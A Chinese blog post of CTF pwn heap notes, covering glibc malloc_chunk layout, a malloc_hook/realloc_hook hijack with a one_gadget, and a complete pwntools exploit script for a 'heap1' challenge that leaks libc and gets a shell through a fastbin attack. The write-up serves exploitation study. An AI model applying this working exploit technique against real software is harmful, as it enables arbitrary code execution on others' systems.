首页 > 其他分享 >CTF_pwn_堆

CTF_pwn_堆

时间:2024-07-30 23:06:01浏览次数:13  
标签:malloc libc realloc chunk add hook CTF pwn

https://blog.csdn.net/qq_43332010/article/details/120402102
相关定义
攻击原理及方法
gdb调试理解
https://blog.csdn.net/xy_369/article/details/130788093
https://blingblingxuanxuan.github.io/2020/02/23/paper/#fastbin-attack
https://ywhkkx.github.io/2021/12/12/堆溢出+malloc_hook劫持/
https://blog.csdn.net/Breeze_CAT/article/details/103789081

前置

chunk

[每次malloc或者calloc时会新建一个chunk]{.kbd .blue}

struct malloc_chunk {
 
  INTERNAL_SIZE_T      mchunk_prev_size;  /*  Size of previous chunk (if free).  */
 
  INTERNAL_SIZE_T      mchunk_size;       /* 当前chunk的大小 Size in bytes, including overhead. */
 
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
 
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
}


[每次free时chhunk不会直接消失而是根据大小分进不同的bins]{.kbd .green}

heap1

  • 每次malloc调用前会检查malloc_hook是否为0,一般默认为0,不为0则调用malloc_hook
  • realloc是一堆关于寄存器的函数,每次调用前会检查realloc_hook是否为0,一般默认为0,不为0则调用realloc_hook
    本来想法是main_arena-0x10处是malloc_hook,接收main_arena后就可以泄露出malloc_hook和libc_base,就可以劫持malloc_hook了,接下来使malloc_hook成为fake_chunk后往里填one_gadget即可,但是满足条件是rsp+0x30...==null,发现每一个都不能用
    [所以我们可以将realloc_hook改为onegadget,然后通过这些push和sub操作"微调"rsp寄存器,使其能够满足在调用realloc_hook(也就是onegadget)的时候满足相应的rsp条件。相应的利用方法就是由传统的直接修改malloc_hook变为先修改realloc_hook为onegadget之后,修改malloc_hook到特定的一个push处或sub处,然后调用malloc便相当于执行了满足条件的onegadget。]

wp

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'amd64') 
#p=process('./heap1')
p =remote('127.0.0.1', 45967)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 
def add(size):
    p.sendlineafter(':','1')
    p.sendlineafter(':',str(size))
def move(index):
    p.sendlineafter(':','2')
    p.sendlineafter(':',str(index))
def show(index):
    p.sendlineafter(':','3')
    p.sendlineafter(':',str(index))
def edit(index,content):
    p.sendlineafter(':','4')
    p.sendlineafter(':',str(index))
    p.sendlineafter(':',content)
add(0x110)#0
add(0x60)#1
add(0x60)#2
move(0)
show(0)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -88
malloc_hook=main_arena-0x10
log.success('main_arena==> '+hex(main_arena))
log.success( 'malloc_hook==> '+hex(malloc_hook))
#libc=LibcSearcher('__malloc_hook', malloc_hook)
#libc_base=malloc_hook-libc.dump('__malloc_hook')
realloc_hook=malloc_hook-8
libc_base=malloc_hook-libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
log.success( 'libc_realloc==> '+hex(realloc))
log.success( 'realloc_hook==> '+hex(realloc_hook))
log.success('libc_ base==>' +hex(libc_base))
one_gadget = libc_base +0x4527a
# 0x45226 0x4527a 0xf03a4 0xf1247
log.success('one_ gadget==>' +hex(one_gadget))
add(0x60)
add(0x60)
move(3)
move(4)
add(0x10)
move(5)
edit(5,b'a'*8)
edit(3,p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60)
payload=b'a'*11+p64(one_gadget)+p64(realloc+0xd)#02468bcd
edit(8,payload)
add(0x10)
p.interactive()

标签:malloc,libc,realloc,chunk,add,hook,CTF,pwn
From: https://www.cnblogs.com/Jexy/p/18333536

相关文章

  • Bugku CTF 合集
    1.Simple_SSTI_11.打开靶场,翻译得知需要输入一个flag作为参数,检查源代码,发现可以设置secretkey作为变量经了解,SSTL是一个模板注入,SECRETKEY:是flask一个重要得配置值需要用以下代码来加密/?flag={{config.SECRETKEY}}(注意大小写),或直接/?flag={{config}}......
  • NSSCTF web入门题鉴赏
    前言思来想去还是觉得web好玩一点哈哈,尝试过crypto更能懂那种痛楚[SWPUCTF2021新生赛]Do_you_know_httphttps://www.nssctf.cn/problem/385这道题就是简单的http协议刚开始是'WLLM'browser!这个题眼,于是我们上网络查询一下,发现useragency并不是它,那就需要我们去改一下us......
  • 2024夏令营CTF部分wp
    misc前面几题基本来源于这篇文章>https://blog.csdn.net/qq_45894840/article/details/128346180?spm=1001.2014.3001.5502算是misc的入门级题目,就不多说了1.easy_stego_1是盲水印分离的题目首先拿到题目附件>http://nnd.edaker.com:8999/directlink/2/misc_easy_stego_1.p......
  • [RoarCTF 2019]Easy Java
    [RoarCTF2019]EasyJavaStep1点击help按钮后发现:URL变成:url/Download?filename=help.docx而回显:java.io.FileNotFoundException:{help.docx}而当我尝试尝试POST,发现文件成功下载:Step2发现可能的漏洞点后,结合WEB-INF相关知识(见文末)可以下载WEB-INF/web.xmlPOST参数......
  • [GYCTF2020]Blacklist
    [GYCTF2020]BlacklistStep1输入1,回显:array(2){[0]=>string(1)"1"[1]=>string(7)"hahahah"}稍微尝试注入:/?inject=1'+union+select+1,2,3;#回显:returnpreg_match("/set|prepare|alter|rename|select|update|delete|dro......
  • CTFshow web入门vip 文件上传
    web151题目提示前端校验不可靠,看源码可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png然后把前端验证修改一下,把文件后缀限制改成php写个一句话木马传进去1.php<?phpeval($_POST['x']);?>url中需要加入我们传入文件的目录/upload.php,并指定/......
  • ctfshow 每周大挑战 rce挑战1-5
    RCE挑战1RCE挑战2题目<?php//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if(isset($_POST['ctf_show'])){$ctfshow=$_POST['ctf_show'];if(is_string($ctfshow)){if(!......
  • BUUCTF GWCTF2019 re3
    挺有意思的一题,记录一下主要思路为smc解密+AES算法扔进ida后找到主函数:发现函数地址异或,推测为smc,先按d转化为数据,然后直接使用python脚本解密:fromida_bytesimport*ea=0x402219foriinrange(0,224):patch_bytes(ea+i,bytes(ea+i)^0x99)选中按p生成......
  • glibc2.35 CTFPwn高版本下的堆块利用
    运用exithook:劫持tls_dtor_list:例题(XYCTF2024 ptmalloc2it‘smyheappro):题目的libc版本是2.35,在glibc2.34版本的时候我们常用的exithook(比如dl_rtld_lock_recursive和dl_rtld_unlock_recursive)就被删除了,所以在这道题里面我们劫持另一个exithook,tls_dtor_list,但这里和之......
  • CTF_hub 密码口令 通关秘籍
    hi!!!Ps:所有都可以用bp直接跑!!!前置知识:Bp、密码字典(各种类型在git上都有!!!)弱口令技巧:bp的intruder模块,单点爆破就行了,不过勤劳的双手随便试一下就行了!!!                         默认口令技巧:通过开发产品公司,网上(AI......